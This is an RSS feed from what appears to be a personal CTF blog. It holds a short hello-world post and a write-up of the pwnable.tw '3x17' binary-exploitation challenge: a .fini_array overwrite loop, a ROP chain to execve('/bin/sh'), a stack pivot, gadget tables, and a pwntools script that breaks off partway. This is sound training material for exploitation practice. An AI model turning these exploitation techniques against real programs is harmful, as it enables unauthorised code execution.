<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss/feed.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>kyst</title><description>CTFs, research and things i like</description><link>https://kyst.fyi</link><language>zh-CN</language><item><title>Hello, World</title><link>https://kyst.fyi/zh/post/hello-world</link><guid isPermaLink="false">zh:hello-world</guid><description>First post and a place to start</description><pubDate>Tue, 27 Oct 2026 01:20:29 GMT</pubDate><content:encoded>&lt;p&gt;Let there be light.&lt;/p&gt;
&lt;p&gt;First post. This site finally works.&lt;/p&gt;
&lt;p&gt;I’ve been meaning to put my writeups, notes and thoughts somewhere, so here we are.&lt;/p&gt;
&lt;p&gt;Some posts will be in English, others in Portuguese. Maybe Chinese too, once I can write more than a few sentences.&lt;/p&gt;
&lt;p&gt;Still setting things up. More soon.&lt;/p&gt;</content:encoded><category>category:Personal</category></item><item><title>3x17 — pwnable.tw</title><link>https://kyst.fyi/zh/post/pwnable-tw-3x17</link><guid isPermaLink="false">zh:pwnable-tw-3x17</guid><description>Turning a limited arbitrary write into a loop through .fini_array, then pivoting to an execve ROP chain.</description><pubDate>Mon, 26 Oct 2026 03:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Challenge: &lt;a href=&quot;https://pwnable.tw/&quot;&gt;3x17 on pwnable.tw&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Initial analysis&lt;a href=&quot;#initial-analysis&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, the file information and checksec output:&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;File information and checksec output&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The program itself is quite simple: its main logic lets us write up to &lt;code&gt;0x18&lt;/code&gt; bytes to an address we supply. That gives us a limited &lt;em&gt;write-what-where&lt;/em&gt; primitive, provided the destination is writable.&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;Main function disassembly&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;sub_40EE80&lt;/code&gt; appears to be &lt;code&gt;strtoll&lt;/code&gt;, based on its behavior with numeric input. It converts the address we enter into an integer.&lt;/p&gt;
&lt;h2&gt;Repeating the write primitive&lt;a href=&quot;#repeating-the-write-primitive&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A single 24-byte write isn’t enough for the &lt;code&gt;execve&lt;/code&gt; ROP chain we’re building, and we also need somewhere to store &lt;code&gt;/bin/sh&lt;/code&gt;. We need a way to repeat the primitive before giving control to the chain.&lt;/p&gt;
&lt;p&gt;The challenge name, &lt;code&gt;3x17&lt;/code&gt;, reads like “exit” in leetspeak. Nice hint. Looking into program finalization leads us to two interesting ELF sections: &lt;code&gt;.fini&lt;/code&gt; and &lt;code&gt;.fini_array&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Understanding .fini_array&lt;a href=&quot;#understanding-fini_array&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;.fini&lt;/code&gt; contains cleanup code, while &lt;code&gt;.fini_array&lt;/code&gt; contains pointers to functions called during normal program termination. The finalization routine walks that array in reverse order: the last entry is called first.&lt;/p&gt;
&lt;p&gt;The exact cleanup path depends on the runtime and how the executable was linked. Functions registered through &lt;code&gt;__cxa_atexit&lt;/code&gt; are another part of normal exit handling. For this exploit, the useful part is the routine in the binary that calls the &lt;code&gt;.fini_array&lt;/code&gt; entries.&lt;/p&gt;
&lt;p&gt;For reference, glibc’s static-executable cleanup implementation walks &lt;code&gt;.fini_array&lt;/code&gt; backward and then calls &lt;code&gt;_fini&lt;/code&gt;. The exact instructions in this challenge still need to be understood from its own disassembly.&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;ELF section information from readelf&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The section flags show that &lt;code&gt;.fini&lt;/code&gt; isn’t marked writable, while &lt;code&gt;.fini_array&lt;/code&gt; is. For exploitation, the important condition is that the array is writable at runtime, not just that its ELF section has the &lt;code&gt;W&lt;/code&gt; flag.&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;Original fini_array entries&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The original array contains two entries:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Offset&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x401b00&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x401580&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The plan is to overwrite those entries, repeat the write primitive, place our ROP chain in &lt;code&gt;.bss&lt;/code&gt;, and finally pivot the stack there.&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;0x402960&lt;/code&gt; as the finalization routine and &lt;code&gt;0x401b6d&lt;/code&gt; as &lt;code&gt;main&lt;/code&gt;. Our first overwrite produces this layout:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;New value&lt;/th&gt;&lt;th&gt;Purpose&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x402960&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Re-enter the finalization routine&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x401b6d&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Call &lt;code&gt;main&lt;/code&gt; again&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Because the array is traversed backward, &lt;code&gt;main&lt;/code&gt; runs first. When it returns, the routine calls entry zero, which re-enters finalization and starts the sequence again. We now have a loop xD&lt;/p&gt;
&lt;h3&gt;Handling the counter&lt;a href=&quot;#handling-the-counter&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;There’s one more detail: &lt;code&gt;main&lt;/code&gt; checks a counter before allowing another write.&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;Counter increment and comparison in main&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The counter at &lt;code&gt;0x4b9330&lt;/code&gt; is one byte wide. Repeated increments wrap around modulo 256, eventually bringing its value back to &lt;code&gt;1&lt;/code&gt; and allowing the primitive again.&lt;/p&gt;
&lt;p&gt;So we don’t get a write on every call to &lt;code&gt;main&lt;/code&gt;, but the finalization loop keeps calling it until the counter reaches the required value. That lets us keep supplying chunks of our payload.&lt;/p&gt;
&lt;h2&gt;Building the ROP chain&lt;a href=&quot;#building-the-rop-chain&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These are the gadgets and addresses used in the exploit:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;0x401c4b : leave ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x402ba9 : pop rsp ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x406c30 : pop rsi ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x401696 : pop rdi ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x446e35 : pop rdx ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x41e4af : pop rax ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x4022b4 : syscall&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x401b6d : main&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x4b40f0 : .fini_array&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;0x402960 : finalization routine&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We write &lt;code&gt;/bin/sh\x00&lt;/code&gt; at the start of &lt;code&gt;.bss&lt;/code&gt;, then place the chain immediately after it. The intended syscall register state is:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Register&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;rax&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;59&lt;/code&gt;, the Linux x86-64 syscall number for &lt;code&gt;execve&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Address of &lt;code&gt;/bin/sh\x00&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;rsi&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The resulting layout is:&lt;/p&gt;




























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Offset from &lt;code&gt;.bss&lt;/code&gt;&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Purpose&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;/bin/sh\x00&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Command string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x401696&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;pop rdi ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;.bss&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Pointer to the command string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x18&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x406c30&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;pop rsi ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x20&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;rsi&lt;/code&gt; value&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x28&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x446e35&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;pop rdx ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x30&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt; value&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x38&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x41e4af&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;pop rax ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x40&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;59&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;rax&lt;/code&gt; value&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;+0x48&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x4022b4&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;syscall&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The helper in the exploit splits writes into chunks of at most 24 bytes. The loop gives us enough opportunities to populate this region before triggering the pivot.&lt;/p&gt;
&lt;h2&gt;Pivoting the stack&lt;a href=&quot;#pivoting-the-stack&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Once the chain is ready, we replace the loop with a final 24-byte payload:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;Purpose&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x401c4b&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;leave ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b40f8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x402ba9&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;pop rsp ; ret&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;0x4b4100&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;.bss + 8&lt;/code&gt;&lt;/td&gt;&lt;td&gt;New stack address&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Notice that the last word is &lt;strong&gt;outside the original two-entry &lt;code&gt;.fini_array&lt;/code&gt;&lt;/strong&gt;. It is adjacent payload data for the pivot, not a third finalizer. This write therefore also relies on the eight bytes immediately after the array being writable and safe to overwrite at this point.&lt;/p&gt;
&lt;p&gt;The GDB state below shows the useful setup: &lt;code&gt;rbp&lt;/code&gt; points to &lt;code&gt;.fini_array&lt;/code&gt;. This is specific to the finalization routine’s state at the pivot; it isn’t a property guaranteed by &lt;code&gt;.fini_array&lt;/code&gt; itself.&lt;/p&gt;
&lt;figure&gt;&lt;img /&gt;&lt;figcaption&gt;RBP pointing to fini_array before the pivot&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Starting from that state, the gadgets work as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;leave&lt;/code&gt; sets &lt;code&gt;rsp = rbp&lt;/code&gt;, so &lt;code&gt;rsp&lt;/code&gt; points to &lt;code&gt;0x4b40f0&lt;/code&gt;. It then pops the first word into &lt;code&gt;rbp&lt;/code&gt;, leaving &lt;code&gt;rsp = 0x4b40f8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ret&lt;/code&gt; takes &lt;code&gt;0x402ba9&lt;/code&gt; from that address, transferring control to &lt;code&gt;pop rsp ; ret&lt;/code&gt;. The next stack word is now at &lt;code&gt;0x4b4100&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pop rsp&lt;/code&gt; loads &lt;code&gt;.bss + 8&lt;/code&gt; from that word, moving the stack to our chain.&lt;/li&gt;
&lt;li&gt;The following &lt;code&gt;ret&lt;/code&gt; takes the first gadget, &lt;code&gt;pop rdi ; ret&lt;/code&gt;, from &lt;code&gt;.bss + 8&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From there, the chain sets up the registers and executes the syscall. The &lt;code&gt;+8&lt;/code&gt; matters because the first eight bytes of &lt;code&gt;.bss&lt;/code&gt; hold &lt;code&gt;/bin/sh\x00&lt;/code&gt;, not a gadget address.&lt;/p&gt;
&lt;h2&gt;Full exploit&lt;a href=&quot;#full-exploit&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; pwn &lt;/span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;elf &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ELF&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;./3x17&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;context&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;binary &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; elf&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;context&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;terminal &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;kitty @ launch --location=vsplit --cwd=current&quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;split&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;context&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;log_level &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;debug&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; conn&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; args&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;REMOTE&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; remote&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;chall.pwnable.tw&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 10105&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        if&lt;/span&gt;&lt;span&gt; args&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;GDB&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; gdb&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;debug&lt;/span&gt;&lt;span&gt;([&lt;/span&gt;&lt;span&gt;elf&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;span&gt; aslr&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; api&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; gdbscript&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                b *0x401b6d&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                &quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; process&lt;/span&gt;&lt;span&gt;([&lt;/span&gt;&lt;span&gt;elf&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; p&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; write_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; address&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; data&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; len&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;data&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; 24&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        chunk &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; data&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        real_addr &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; address &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; i&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        p&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;sendafter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;addr:&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; str&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;real_addr&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        p&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;sendafter&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;data:&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; chunk&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; main&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; conn&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # pwn it&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    leave_ret &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000401c4b&lt;/span&gt;&lt;span&gt; # leave ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    pop_rsp &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000402ba9&lt;/span&gt;&lt;span&gt; # pop rsp ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    pop_rsi &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000406c30&lt;/span&gt;&lt;span&gt; # pop rsi ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    pop_rdi &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000401696&lt;/span&gt;&lt;span&gt; # pop rdi ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    pop_rdx &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000446e35&lt;/span&gt;&lt;span&gt; # pop rdx ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    pop_rax &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;000000000041e4af&lt;/span&gt;&lt;span&gt; # pop rax ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    syscall &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;00000000004022b4&lt;/span&gt;&lt;span&gt; # syscall&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    main &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;0000000000401B6D&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    fini_array &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;004b40f0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    destructor_routine &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; 0x&lt;/span&gt;&lt;span&gt;402960&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;destructor_routine&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; p64&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    write_payload&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; fini_array&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; payload&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    target &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; elf&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;bss&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
